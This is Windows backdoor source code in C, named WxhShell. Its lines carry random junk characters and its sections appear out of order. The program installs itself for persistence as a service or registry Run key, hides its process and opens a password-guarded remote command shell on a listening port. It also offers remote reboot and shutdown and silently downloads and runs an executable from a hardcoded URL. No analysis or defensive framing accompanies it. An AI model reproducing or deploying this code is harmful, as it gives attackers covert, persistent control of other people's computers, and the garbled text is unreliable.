    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;y,5k?  
    if(Boot(SHUTDOWN)) BL0 {HV!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Gd=n  
    else { Y1OCLnK~  
    closesocket(wsh); #jkf1"8C  
    ExitThread(0); 52%2R]G!  
    } I4'5P}1yp  
    break; '.on)Zd.  
    } X$HIVxyq2  
  // 获取shell (/z_Q{"N  
  case 's': { $|L Sx  
    CmdShell(wsh); *QpMF/<?  
    closesocket(wsh); \z>fb%YW  
    ExitThread(0); rA3$3GLQ-  
    break; v_BcTzQ0S  
  } lNz7u:U3  
  // 退出 ! +a. Ei  
  case 'x': { *F+KqZ.2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N nRD|A  
    CloseIt(wsh); ^|/TC!v]M  
    break; S'k_olx7  
    } ERUz3mjA/  
  // 离开 Vy6qbC-Kt  
  case 'q': { ,`|3KE9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i5en*)O8  
    closesocket(wsh); A0/"&Ag]  
    WSACleanup(); 44gPCW,u  
    exit(1); [glLre^  
    break; lsgh#x  
        } 8LyD7P 1\  
  } a+[RS]le  
  } DH[p\Wy'  
;%B(_c  
  // 提示信息 :yL] ;J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cw iKi^m  
} ]}Mj)J"m  
  } xmNB29#  
f~t:L, \,  
  return; c>,'Y)8   
} 1A?W:'N  
:iK(JE`   
// shell模块句柄 e{h<g>7  
int CmdShell(SOCKET sock) m.JBOq=  
{  Hu^1[#  
STARTUPINFO si; O)C\v F#  
ZeroMemory(&si,sizeof(si)); )s)I2Z+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1[mXd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3YeG$^y"  
PROCESS_INFORMATION ProcessInfo; .\\DKh%  
char cmdline[]="cmd"; qPWP&k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;PF`Wj  
  return 0; e2L0VXbb  
}  Qn^'  
.4_o>D  
// 自身启动模式 b1?#81  
int StartFromService(void) QEm|])V  
{ ?# Mr  
typedef struct !!qK=V|>  
{ :lX!\(E2  
  DWORD ExitStatus; 9V'%<pk''(  
  DWORD PebBaseAddress; v&Ii^?CvO  
  DWORD AffinityMask; a[v0%W ]u  
  DWORD BasePriority; f"B3,6m  
  ULONG UniqueProcessId; t#yk ->,  
  ULONG InheritedFromUniqueProcessId; %&$Tz1"  
}   PROCESS_BASIC_INFORMATION; -B>++r2A^  
eiuSvyY  
PROCNTQSIP NtQueryInformationProcess; D_?K"E=fw  
)r';lGh2#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PvR6 z0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T\:4qETQF]  
anuL1f XO  
  HANDLE             hProcess; osciZ'~  
  PROCESS_BASIC_INFORMATION pbi; k=2Lo  
LO'**}vm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V @rI`~$  
  if(NULL == hInst ) return 0; F^l[GdUosK  
i}b${n o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'z );  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6f;fx}y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S,D8F&bg  
'#! gh?  
  if (!NtQueryInformationProcess) return 0; FRcy`)  
hrmut*<|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r}Ohkr  
  if(!hProcess) return 0; zh4# A <e  
o-;E>N7t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9K/HO!z  
+_s #2  
  CloseHandle(hProcess); s.EI`*xylY  
2`.cK 3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c~6>1w7SZ4  
if(hProcess==NULL) return 0; Ytgcs( /$  
so^lb?g  
HMODULE hMod; | H!28h  
char procName[255]; -\+s#kE:  
unsigned long cbNeeded; %mL-$*  
<Q$@r?Mu]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ADZ};:]  
Qg^cf<X{i  
  CloseHandle(hProcess); oV)~@0B&0  
NHB4y/2  
if(strstr(procName,"services")) return 1; // 以服务启动 Yaj0;Lo[wt  
r$5i Wu  
  return 0; // 注册表启动 U0=]  
} Pf*^ZB%  
`(T,+T4C5k  
// 主模块 _,q)hOI  
int StartWxhshell(LPSTR lpCmdLine) jQk*8   
{ f @8mS    
  SOCKET wsl; ,PlO8;5]  
BOOL val=TRUE; "-_fv5jL  
  int port=0; )X04K~6lY  
  struct sockaddr_in door; u?>B)PW  
.b\$MZ"(  
  if(wscfg.ws_autoins) Install(); Xm+8  
6cpw~  
port=atoi(lpCmdLine); YiYV>gaf"H  
CQwL|$)]Y  
if(port<=0) port=wscfg.ws_port; m#ZO`W  
u7bLZU 0  
  WSADATA data; $\b$}wy*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?in|qevL  
&P.4(1sC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3VuW#m#j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;?W|#*=R  
  door.sin_family = AF_INET; 6}75iIKi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J%V-Q>L  
  door.sin_port = htons(port); :*t"8;O[  
\2nUa ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \Z^TXyu   
closesocket(wsl); ub7zA!%  
return 1; A; 5n:Sd  
} iQ4);du  
_tSAI  
  if(listen(wsl,2) == INVALID_SOCKET) { ;GVV~.7/  
closesocket(wsl); #BJG9DFP4`  
return 1; {D!6%`HKV+  
} U`,0]"Qk  
  Wxhshell(wsl); R-NS,i={  
  WSACleanup(); 9m|kgY# 4  
;^ La"m  
return 0; +zu(  
o[v\|Q`d  
} ak ->ML  
\ W?R  
// 以NT服务方式启动 53c0 E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) on0]vEE  
{ 4&xZ]QC)O5  
DWORD   status = 0; 1^ _U;O:I  
  DWORD   specificError = 0xfffffff; @S|jC2^+h  
\ {qI4=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Na$Is'F &p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u)3 $~m~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rp*R:3 C  
  serviceStatus.dwWin32ExitCode     = 0; !Gu%U$d  
  serviceStatus.dwServiceSpecificExitCode = 0; QYa(N[~a  
  serviceStatus.dwCheckPoint       = 0; wj[\B*$?  
  serviceStatus.dwWaitHint       = 0; %7#-%{  
]Pry>N3G5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *.~6S3}  
  if (hServiceStatusHandle==0) return; #O$  
!>BZ6gn5  
status = GetLastError(); [cTe54n  
  if (status!=NO_ERROR) JT "B>y>  
{ -RO7 'm0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j<2m,~k`V  
    serviceStatus.dwCheckPoint       = 0; 3uZJ.Fb  
    serviceStatus.dwWaitHint       = 0; b !%hH  
    serviceStatus.dwWin32ExitCode     = status; $U$V?x uE  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5k6mmiaKk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tp6M=MC%  
    return; Eo\UAc  
  } hty0Rb[dH  
V[}4L| ad  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {K4+6p  
  serviceStatus.dwCheckPoint       = 0; U~} U\_  
  serviceStatus.dwWaitHint       = 0; fV v.@HL{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [zL7Q^~  
} ?OE.O/~l  
:(a]V"(&Eq  
// 处理NT服务事件,比如:启动、停止 1"pI^Ddt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %V1Z~HC  
{ +2K:qvzZ  
switch(fdwControl) N[<H7_/3  
{ cTXri8K_  
case SERVICE_CONTROL_STOP: /,MJq#@K  
  serviceStatus.dwWin32ExitCode = 0; Mn$]I) $  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  t^xTFn  
  serviceStatus.dwCheckPoint   = 0; Mmo6MZ^  
  serviceStatus.dwWaitHint     = 0; ^K7ic,{  
  { N0K){  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j:}J}P  
  } I=7Y]w=  
  return; t~e<z81p  
case SERVICE_CONTROL_PAUSE: (x"BR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ti2Ls5H}  
  break; '8 fk+>M  
case SERVICE_CONTROL_CONTINUE: ~`GhS<D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZT[3aXS  
  break; sK"9fU  
case SERVICE_CONTROL_INTERROGATE: UWZa|I~:J  
  break; mCs#.%dU  
}; RP 2_l$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h'i{&mS_b  
} %*o8L6Hn  
q;fKcblKj  
// 标准应用程序主函数 zP:cE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '=E3[0W  
{ 65oWD-  
Wxk x,q?  
// 获取操作系统版本 /Y&02L%\3s  
OsIsNt=GetOsVer(); ~XydQJ^*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LuR,f"%2  
dLvJh#`o  
  // 从命令行安装 =(EI~N  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?!=iu!J  
6cdMS[_SD(  
  // 下载执行文件 'q>2t}KG  
if(wscfg.ws_downexe) { tp:\j@dB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -/ x W  
  WinExec(wscfg.ws_filenam,SW_HIDE); PSRzrv$l  
} !Y<oN~<%)  
:s-o0$PlJ  
if(!OsIsNt) { [EY`am8[  
// 如果时win9x,隐藏进程并且设置为注册表启动 p0{EQT`tMG  
HideProc(); jJ3zF3Id  
StartWxhshell(lpCmdLine); 6*nAo8gl  
} `_5GG3@Ff  
else 1|ZhPsD.}g  
  if(StartFromService()) D6~+Y~R  
  // 以服务方式启动 *U=]@I}J  
  StartServiceCtrlDispatcher(DispatchTable); ?-OPX_i_  
else T#!lPH :&h  
  // 普通方式启动 ]~>K\i  
  StartWxhshell(lpCmdLine); lFUWV)J\  
Te{ *6-gO3  
return 0; 9Bdt(}0A  
} 2X88:  
w %c  
"PH6e bm  
sT1&e5`W  
=========================================== `@`1pOb  
I,ci >/+b  
~%#mK:+  
wU`!B<,j  
7S$&S;  
*zVvQ=  
" 8[bkHfI  
=l942p  
#include <stdio.h> K(T\9J.  
#include <string.h> 99OD= pxQ  
#include <windows.h> T~gW3J  
#include <winsock2.h> 9l+{OA  
#include <winsvc.h> 5IqQ|/m<6  
#include <urlmon.h> WxGSv#u  
{SG>'KXZ  
#pragma comment (lib, "Ws2_32.lib") o%y;(|4t >  
#pragma comment (lib, "urlmon.lib") X1A<$Am1  
,smF^l   
#define MAX_USER   100 // 最大客户端连接数 {.k)2{  
#define BUF_SOCK   200 // sock buffer ~# 7wdP  
#define KEY_BUFF   255 // 输入 buffer v })Q  
V*65b(q)  
#define REBOOT     0   // 重启 rUwE?Ekn/  
#define SHUTDOWN   1   // 关机 VY'Q|[  
Xt,X_o2m|]  
#define DEF_PORT   5000 // 监听端口 TYjA:d9YH  
FfMnul  
#define REG_LEN     16   // 注册表键长度 ~U}Mv{ y  
#define SVC_LEN     80   // NT服务名长度 =^h~!ovj:  
GVd48*  
// 从dll定义API (TSqc5^H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LxJ6M/".  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `1p 8C%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rt= X% [YL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;R[&pDx  
o;J;*~g  
// wxhshell配置信息 w;yx<1f  
struct WSCFG { V 2kWiyN  
  int ws_port;         // 监听端口 C ?H{CP  
  char ws_passstr[REG_LEN]; // 口令 bY#;E;'7  
  int ws_autoins;       // 安装标记, 1=yes 0=no )&Z>@S^  
  char ws_regname[REG_LEN]; // 注册表键名 rS~qi}4X  
  char ws_svcname[REG_LEN]; // 服务名 }. %s xw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <jd/t19DB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _J"mR]I+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gM_:l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Nz]h:}r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eihZp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yMIT(  
Uu2N9.5  
}; ."JzDs   
kfpm=dKL  
// default Wxhshell configuration |Is'-g!  
struct WSCFG wscfg={DEF_PORT, O@`J_9  
    "xuhuanlingzhe", S|2VP8xY9  
    1, w yD%x(  
    "Wxhshell", DJ:38_F  
    "Wxhshell", g.*&BXZi  
            "WxhShell Service", u 2lX d'  
    "Wrsky Windows CmdShell Service", T8q[7Zn  
    "Please Input Your Password: ", <kc]L x  
  1, /Nqrvy=  
  "http://www.wrsky.com/wxhshell.exe", YeIe\3x!N  
  "Wxhshell.exe" 4]"w b5%  
    }; BD1K H;  
3Wj,}  
// 消息定义模块 3LfTGO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pYGYy'%A'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _SF!T6A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8dV=1O$ /  
char *msg_ws_ext="\n\rExit."; ;E2kT GT  
char *msg_ws_end="\n\rQuit."; }wkaQQh  
char *msg_ws_boot="\n\rReboot..."; AFtCqq#[  
char *msg_ws_poff="\n\rShutdown..."; -y<x!61  
char *msg_ws_down="\n\rSave to "; %Ht ^yemQ  
s;>VeD)*)  
char *msg_ws_err="\n\rErr!"; 0Q*-g}wXfS  
char *msg_ws_ok="\n\rOK!"; x?>!UqgkY  
y"Ihr5S\  
char ExeFile[MAX_PATH]; 6 <r2*`  
int nUser = 0; ~"5C${~{  
HANDLE handles[MAX_USER]; T"A^[ r*  
int OsIsNt; v+7*R)/  
>~>{;Wq(p+  
SERVICE_STATUS       serviceStatus; P[1m0!,B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {SHqW5VX  
xK=J.>h3  
// 函数声明 jXH0BPa,  
int Install(void); ~ \-r  
int Uninstall(void); n1JC?+  
int DownloadFile(char *sURL, SOCKET wsh); J,`_,T  
int Boot(int flag); SDJ;*s-  
void HideProc(void); @?j@yRe  
int GetOsVer(void); U !.~XT=  
int Wxhshell(SOCKET wsl); Wu]/(F  
void TalkWithClient(void *cs); +0dQORo  
int CmdShell(SOCKET sock); 1wU=WE(kKZ  
int StartFromService(void); rt,0j/o.1  
int StartWxhshell(LPSTR lpCmdLine); \&# p1K(H  
;4R =eI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n8 GF8a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <?nB,U  
p5D5%B/  
// 数据结构和表定义 giQ{Xrj  
SERVICE_TABLE_ENTRY DispatchTable[] = 5_PWGaQa  
{ =]WW'~  
{wscfg.ws_svcname, NTServiceMain}, e2q pJ4i  
{NULL, NULL} 91U^o8y  
}; tru;;.lj8K  
Rd .U;>  
// 自我安装 !~ BZHi6\  
int Install(void)  W{L  
{ DBLA% {05  
  char svExeFile[MAX_PATH]; [..,(  
  HKEY key; 3j]UEA^  
  strcpy(svExeFile,ExeFile); .A )\F",X  
Zj:a-=  
// 如果是win9x系统,修改注册表设为自启动 d'x<- l9  
if(!OsIsNt) { uDpf2(>s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xI-=t ib  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xs{:[vRW  
  RegCloseKey(key); kQqBHA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MT;SRAmUr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y21)~  
  RegCloseKey(key); Fl8w7LcF7  
  return 0; E \ K  
    } =# k<Kw#  
  } }<6oFUZ  
} Usa{J:  
else { KyuA5jQ7  
?7fQ1/emhO  
// 如果是NT以上系统,安装为系统服务 Dq0-Kf,^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~E^yM=:h  
if (schSCManager!=0) N1D6D$s0  
{ ))%@@l[  
  SC_HANDLE schService = CreateService <^H1)=tlF  
  ( o(B<!ji~'  
  schSCManager, ?Zc/upd:$N  
  wscfg.ws_svcname, ^8o_Iz)r,  
  wscfg.ws_svcdisp, $[HcHnf  
  SERVICE_ALL_ACCESS, "N?%mCPI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c9Y2eetO  
  SERVICE_AUTO_START, [u`17hyX  
  SERVICE_ERROR_NORMAL, Q0 uP8I}n  
  svExeFile, hLDch5J5~  
  NULL, ]7XkijNb  
  NULL, aB$y+`f)@  
  NULL, oTplxF1  
  NULL, \Owful  
  NULL s=\LewF1<  
  ); vF*^xhh  
  if (schService!=0) `:-@E2  
  { RTgQ#<W8  
  CloseServiceHandle(schService); 3*X, {%  
  CloseServiceHandle(schSCManager); vp )}/&/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AF9[2AH=Y  
  strcat(svExeFile,wscfg.ws_svcname); 4~m.#6MT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !I~C\$^U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6b#:H~ <  
  RegCloseKey(key); 1_33;gP  
  return 0; p]1yd;Jt  
    } ei+9G,  
  } v -|P_O&z  
  CloseServiceHandle(schSCManager); %v`-uAy:  
} E1U4v&P  
} B"?+5A7  
U- *8%>Qp  
return 1; n,Yr!W:h  
} P/C+L[X=  
(T%F!2i([U  
// 自我卸载 #Vn>ue+?  
int Uninstall(void) sT[av  
{ @^y?Bh9jQ  
  HKEY key; epG X.  
[G'!`^V,  
if(!OsIsNt) { 'o)ve(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OUIUgej  
  RegDeleteValue(key,wscfg.ws_regname); sw=JUfAhy  
  RegCloseKey(key); },Re5W nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Tru?y \  
  RegDeleteValue(key,wscfg.ws_regname); =jV%O$Fx  
  RegCloseKey(key); #pDGaqeX  
  return 0; 8XH|T^5  
  } !CVBG *E^l  
} >^a"Z[s[  
} |$SvD2^  
else { z[KN^2YS  
C<wj?!v,F[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d=4f`q0k  
if (schSCManager!=0) )v!lPpe8  
{ f9 l<$l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aaqd:N)  
  if (schService!=0) #<tWYE  
  { g~^{-6Vg  
  if(DeleteService(schService)!=0) { <igx[2X  
  CloseServiceHandle(schService); zI2KIXcc  
  CloseServiceHandle(schSCManager); O)RzNfI^`N  
  return 0; XoxR5arj  
  } {YKMQI^O/  
  CloseServiceHandle(schService); ?D~SHcBaN  
  } NBg>i7KQ  
  CloseServiceHandle(schSCManager); 1{Alj27  
} ~0^,L3M  
} \_I)loPc8  
{Y* ]Qc  
return 1; P8,{k  
} uVuToMCp  
{OhkuON  
// 从指定url下载文件 D 5r   
int DownloadFile(char *sURL, SOCKET wsh) I>8@=V~  
{ Tm:#"h\F  
  HRESULT hr; y~A7pzBZ=  
char seps[]= "/"; -g[*wN8  
char *token; M%5$-;6~_  
char *file; J_wz'eIb0  
char myURL[MAX_PATH]; 7f\^VG  
char myFILE[MAX_PATH]; DCt:EhC  
6:EH5IO  
strcpy(myURL,sURL); w)m0Z4*  
  token=strtok(myURL,seps); 6P*)rye  
  while(token!=NULL) _6-/S!7Y\  
  { &!YH"{b  
    file=token; CMG`'gT  
  token=strtok(NULL,seps); J,=E5T}U^  
  } Obc3^pV&  
>'|xQjLl  
GetCurrentDirectory(MAX_PATH,myFILE); ~"r wP=<}  
strcat(myFILE, "\\"); K!: ,l  
strcat(myFILE, file); vYt:}$AE  
  send(wsh,myFILE,strlen(myFILE),0); -L'K  
send(wsh,"...",3,0); / ?[gB:s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "xc*A&Sg  
  if(hr==S_OK) 5B.??;xtaV  
return 0; 645C]l  
else $}UJs <-F  
return 1; >scS wT  
?a0}^:6  
} ccRk4xR  
7n 95>as  
// 系统电源模块 h7]]F{r5  
int Boot(int flag) 5NF&LM;i(  
{ 4e#K.HU_  
  HANDLE hToken; u4+uGYr*@  
  TOKEN_PRIVILEGES tkp; Cm}UWX  
Nt^&YE7d:  
  if(OsIsNt) { =i5:*J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 75}u D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q fyERa\rb  
    tkp.PrivilegeCount = 1; u[|S*(P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SyVbCj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x0;}b-f  
if(flag==REBOOT) { 4qz{ D"M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^-;Z8M  
  return 0; @?=)}2=|?i  
} h-rj  
else {  ~0'l,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xAz4ZXj=q  
  return 0; r~2@#gTbl  
} (@o />T  
  } "l,EcZRjTz  
  else { j6HbJ#]  
if(flag==REBOOT) { coVT+we  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8=o(nFJw  
  return 0; :::f,aCAu  
} # %y{mn  
else { hJ*E"{xs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %R"/`N9R,  
  return 0; !skiD}zd1  
} &2]D+aL|h  
} r8?Lr-;  
ZL@DD(S-/  
return 1; 7CMgvH)O  
} N,,2 VSUr  
']Xx#U N  
// win9x进程隐藏模块 =<h=">}5'  
void HideProc(void) "K!BJQ  
{ 1WN93 SQ=  
f4I9H0d;!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I3$vw7}5Y  
  if ( hKernel != NULL ) `gs,JJ6N  
  { FEmlC,%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p% %Y^=z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3i}B\ {  
    FreeLibrary(hKernel); qWRMwvN{  
  } :|Nbk58  
{$:13AnK   
return; 3'e 4{  
} b}*bgx@<  
=~m"TQv  
// 获取操作系统版本 BD#;3?|  
int GetOsVer(void) 9d}nyJ  
{ 6yM dl~.  
  OSVERSIONINFO winfo; 1H 6Wrik  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {*$J&{6V  
  GetVersionEx(&winfo); 8N_rJ)f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HZ=yfJs nc  
  return 1; becQ5w/~  
  else ve^MqW&S  
  return 0; S$On$]~\"  
} =V 7w CW  
CWYJ<27v{  
// 客户端句柄模块 <F & hfy  
int Wxhshell(SOCKET wsl) i}"JCqo2  
{ 3*JybMo"  
  SOCKET wsh; H,~In2Z  
  struct sockaddr_in client; obolDh a  
  DWORD myID; NmF2E+'  
:+!b8[?Z  
  while(nUser<MAX_USER) 3U$fMLx]k  
{ LXV6Ew5E  
  int nSize=sizeof(client); dtl<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  y-#tU>P  
  if(wsh==INVALID_SOCKET) return 1; r1atyK  
!{ lb#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >C3 9`1  
if(handles[nUser]==0) 9 <m j@bI$  
  closesocket(wsh); )^sfEYoA  
else 3R .cj  
  nUser++; e5KF~0`  
  } ^dD?riFAk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kyB]fmS  
>WX'oP(<  
  return 0; l}/UriZ0  
} tH(#nx8  
@7'gr>_E  
// 关闭 socket rzLl M  
void CloseIt(SOCKET wsh) 3 2D/%dHC  
{ Q.\ovk~,a  
closesocket(wsh); S~Q";C[&  
nUser--; PX)qA =4q  
ExitThread(0); e?WR={  
} 2Wtfx" .y  
.`XA6e(8KR  
// 客户端请求句柄 kw'D2692  
void TalkWithClient(void *cs) (tN$G:+")F  
{ FG\?_G  
yl%F<5  
  SOCKET wsh=(SOCKET)cs; h+@t8Q;gGw  
  char pwd[SVC_LEN]; &ii =$4"R  
  char cmd[KEY_BUFF]; HfPeR8I%i  
char chr[1]; jN0v<_PJED  
int i,j; %BKTN@;7  
e>.xXg6Zn  
  while (nUser < MAX_USER) { CuNHDYQ&3  
[^f`D%8o  
if(wscfg.ws_passstr) { ><qE5D[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r_m&Jl@4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mgWtjV 8  
  //ZeroMemory(pwd,KEY_BUFF); U"]i.J1  
      i=0; 5hMiCod  
  while(i<SVC_LEN) { o ++Hdvai  
}I]q$3 .  
  // 设置超时 H<"j3qt  
  fd_set FdRead; oP6G2@3P/  
  struct timeval TimeOut; v*LL7b0 A  
  FD_ZERO(&FdRead); 9HP--Z=  
  FD_SET(wsh,&FdRead); { L5m`-x  
  TimeOut.tv_sec=8; \Wk$>?+#@  
  TimeOut.tv_usec=0; FCPbp!q6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (x@"Dp=MZW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G'Y|MCKz>  
.9ne'Ta  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iDsjIW\j  
  pwd=chr[0]; MNzq}(p  
  if(chr[0]==0xd || chr[0]==0xa) { C#R9Hlb  
  pwd=0; %O${EN  
  break; @[Th{HTc.G  
  } #z.x3D@^r6  
  i++; h! <8=V(  
    } vY6|V$  
Lnzhs;7L  
  // 如果是非法用户,关闭 socket :`K;0`C +  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X)~-MY*p  
} ?0x;L/d])  
(hoqLL\}k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tj3p71%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *))|ZE6jI  
]rS+v^@QH  
while(1) { nL? B  
H;6V  
  ZeroMemory(cmd,KEY_BUFF); ` T!O )5  
qA30G~S  
      // 自动支持客户端 telnet标准   lQzrf"N'  
  j=0; ?=l(29tH  
  while(j<KEY_BUFF) { /%)J+K)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .o>QBYpTw/  
  cmd[j]=chr[0]; Z& %61jGK  
  if(chr[0]==0xa || chr[0]==0xd) { Ud](hp"  
  cmd[j]=0; FD<~?-  
  break; ?=,tcN  
  } ~VOmMw4HV  
  j++; l},%g%}iMU  
    } . XmD[=  
j{vzCRa>8  
  // 下载文件 L4!$bB~L-  
  if(strstr(cmd,"http://")) { __QT lj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Q`4*H6  
  if(DownloadFile(cmd,wsh)) a4wh-35/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SG~R!kN}Q  
  else <1y%ch;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}!|K0t?  
  }  oDC3AK&  
  else { U5klVl  
